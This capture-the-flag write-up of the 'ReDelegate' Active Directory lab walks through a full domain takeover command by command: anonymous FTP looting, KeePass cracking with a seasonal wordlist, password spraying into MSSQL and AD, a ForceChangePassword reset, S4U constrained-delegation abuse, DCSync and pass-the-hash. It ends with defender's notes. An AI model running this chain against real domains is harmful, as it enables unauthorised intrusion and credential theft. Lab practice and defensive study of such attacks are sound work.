ReDelegate is an Active Directory box whose finale is the technique in its name: constrained delegation with protocol transition. Getting there runs through anonymous FTP, a KeePass database cracked with a wordlist we build from a training-document hint, a credential that sprays into MSSQL and then AD, and a ForceChangePassword ACL. The key that unlocks the domain is a single privilege on one user: SeEnableDelegationPrivilege.
Attack chain at a glance
- Recon — anonymous FTP, MSSQL 2019, and a full DC port set on
redelegate.vl. - Loot — FTP holds a
Shared.kdbxKeePass DB and a training doc hinting the password scheme isSeasonYear!. - Crack — a seasonal wordlist cracks the KeePass master password (
Fall2024!); its entries become a spray list. - Foothold — one secret logs into MSSQL (local auth); login enumeration + spraying lands domain user
Marie.Curie. - User — Marie.Curie has ForceChangePassword over
helen.frost; reset it, WinRM in, user flag. - Root — helen.frost holds
SeEnableDelegationPrivilegeand GenericAll over computerFS01$; configure constrained delegation with protocol transition, S4U-impersonate the DC, DCSync the Administrator hash, pass-the-hash in.
Reconnaissance
ports=$(nmap -Pn -p- --min-rate=1000 -T4 10.129.11.197 | grep ^[0-9] | cut -d / -f1 | paste -sd,)
nmap -Pn -p$ports -sC -sV 10.129.11.197
21/tcp ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| CyberAudit.txt Shared.kdbx TrainingAgenda.txt
88/tcp kerberos-sec
389/tcp ldap Domain: redelegate.vl, dc.redelegate.vl
1433/tcp ms-sql-s Microsoft SQL Server 2019
5985/tcp http WinRM
Anonymous FTP and a password-policy hint
Anonymous FTP is open and holds three files. One is a KeePass database (encrypted secrets) and one is a staff training agenda — and the agenda is where the box practically tells you the password scheme:
ftp anonymous@10.129.11.197
ftp> binary # IMPORTANT: .kdbx is binary; ASCII mode corrupts it
ftp> get Shared.kdbx
ftp> get TrainingAgenda.txt
$ cat TrainingAgenda.txt
... "Weak Passwords" - Why "SeasonYear!" is not a good password ...
“SeasonYear!” is a template. Expand it into the handful of recent season-year combinations — a tiny, targeted wordlist that beats rockyou here because the policy is so specific:
cat wordlist.txt
Spring2024!
Summer2024!
Autumn2024!
Fall2024!
Winter2024!
Cracking KeePass and harvesting secrets
Convert the database to a John-crackable hash and run the seasonal list against it — KeePass uses a deliberately slow KDF (600k iterations here), so a small, correct wordlist matters:
python keepass2john.py Shared.kdbx > Shared.hash
john --wordlist=wordlist.txt Shared.hash
Fall2024! (Shared)
1g 0:00:00:00 DONE
Open the database in KeePassXC with Fall2024!. Each stored entry's password is another candidate credential — dump them all into the spray list alongside the seasonal ones:
# wordlist.txt now also contains the KeePass entry passwords, e.g.
# zDPBpaF4FywlqIv11vii, Spdv41gg4BlBgSYIW1gF, cn4KOEgsHqvKXPjEnSD9, ...
MSSQL foothold and user discovery
Spraying the secrets, only one authenticates — and it is a local SQL login, not a domain account:
netexec mssql 10.129.11.197 -u SQLGuest -p zDPBpaF4FywlqIv11vii --local-auth
MSSQL 10.129.11.197 1433 DC [+] DC\SQLGuest:zDPBpaF4FywlqIv11vii
A SQL login is not yet a Windows user, but the server will happily list its logins, which seeds an AD user list. Metasploit's mssql_enum_sql_logins does the enumeration (netexec was flaky here):
msf6 auxiliary(admin/mssql/mssql_enum_sql_logins) > run
[+] 17 SQL Server logins were verified:
... SQLGuest, sa, WIN-...\Administrator, BUILTIN\Users, NT AUTHORITY\SYSTEM ...
Re-spraying the cracked passwords across the discovered/AD users lands a real domain account, which is enough to run BloodHound:
bloodhound-python -u Marie.Curie -p 'Fall2024!' -d redelegate.vl -ns 10.129.11.197 -c ALL --zip
Marie.Curie holds ForceChangePassword over helen.frost.User flag — ForceChangePassword
ForceChangePassword lets you set a target's password without knowing the old one — a common and devastating ACL misconfiguration. Reset helen.frost, grab a Kerberos TGT for her, and WinRM in with the ticket:
bloodyAD -d redelegate.vl -u marie.curie -p Fall2024! --dc-ip 10.129.234.50 \
set password helen.frost 'Password@1'
[+] Password changed successfully!
impacket-getTGT -k redelegate.vl/helen.frost:'Password@1'
KRB5CCNAME=helen.frost.ccache evil-winrm -r redelegate.vl -i dc.redelegate.vl
*Evil-WinRM* PS C:\Users\Helen.Frost\Desktop> type user.txt
What makes helen.frost special is not the flag but her token:
whoami /priv
SeMachineAccountPrivilege Add workstations to domain Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeEnableDelegationPrivilege plus control over a computer object.Root — constrained delegation with protocol transition
BloodHound also shows helen.frost has GenericAll over the computer account FS01$. The plan: make FS01$ a constrained-delegation principal that is allowed to impersonate anyone to the DC's CIFS service, then use it to pull a privileged ticket. First take ownership of FS01$, reset its password (so we can authenticate as it), and set the protocol-transition flag:
bloodyAD ... set owner 'FS01$' helen.frost
bloodyAD ... set password 'FS01$' 'Password@1'
bloodyAD -d redelegate.vl -u helen.frost -p 'Password@1' --dc-ip 10.129.234.50 \
add uac FS01$ -f TRUSTED_TO_AUTH_FOR_DELEGATION
Two attributes do the work.TRUSTED_TO_AUTH_FOR_DELEGATIONenables protocol transition (S4U2self):FS01$can request a service ticket as any user without that user's password.msDS-AllowedToDelegateTo = cifs/dc.redelegate.vlthen says it may forward that identity to the DC's CIFS service (S4U2proxy). SettingmsDS-AllowedToDelegateTois privileged — only allowed because helen.frost holdsSeEnableDelegationPrivilege. That privilege is the whole box.cifs/is just one SPN the DC auto-registers;ldap/works too and some writeups use it. See Kerberos Delegation.
impacket-getTGT -k redelegate.vl/helen.frost:'Password@1'
export KRB5CCNAME=helen.frost.ccache
bloodyAD -d redelegate.vl -k --host dc.redelegate.vl \
set object FS01$ msDS-AllowedToDelegateTo -v cifs/dc.redelegate.vl
[+] FS01$'s msDS-AllowedToDelegateTo has been updated
Now authenticate as FS01$ and request a ticket to cifs/dc.redelegate.vl while impersonating the dc machine account (S4U2self then S4U2proxy):
impacket-getST -k -no-pass -spn cifs/dc.redelegate.vl -impersonate dc redelegate.vl/FS01$
[*] Impersonating dc
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc@cifs_dc.redelegate.vl@REDELEGATE.VL.ccache
FS01$ flagged TRUSTED_TO_AUTH_FOR_DELEGATION — protocol transition enabled.Holding a CIFS ticket to the DC as a machine account is enough to run the directory-replication (DCSync) protocol and pull the Administrator hash — then pass the hash straight into a WinRM shell:
export KRB5CCNAME=dc@cifs_dc.redelegate.vl@REDELEGATE.VL.ccache
impacket-secretsdump -k -no-pass dc.redelegate.vl -just-dc-user Administrator
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ec17f7a2a4d96e177bfd101b94ffc0a7:::
evil-winrm -i dc.redelegate.vl -u Administrator -H ec17f7a2a4d96e177bfd101b94ffc0a7
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
Defender's notes
- Disable anonymous FTP, and never leave credential stores (KeePass DBs, config) on open shares.
- Ban scheme-based passwords like
Season+Year!— they collapse the keyspace to a handful of guesses. - Grant
SeEnableDelegationPrivilegeto nobody but tightly controlled admins; it is what lets delegation be configured, and it gated this entire compromise. - Audit
msDS-AllowedToDelegateToandTRUSTED_TO_AUTH_FOR_DELEGATION; treat protocol-transition delegation to a DC service as critical (Delegation). - Review dangerous ACLs (ForceChangePassword, GenericAll over computers) continuously, not once.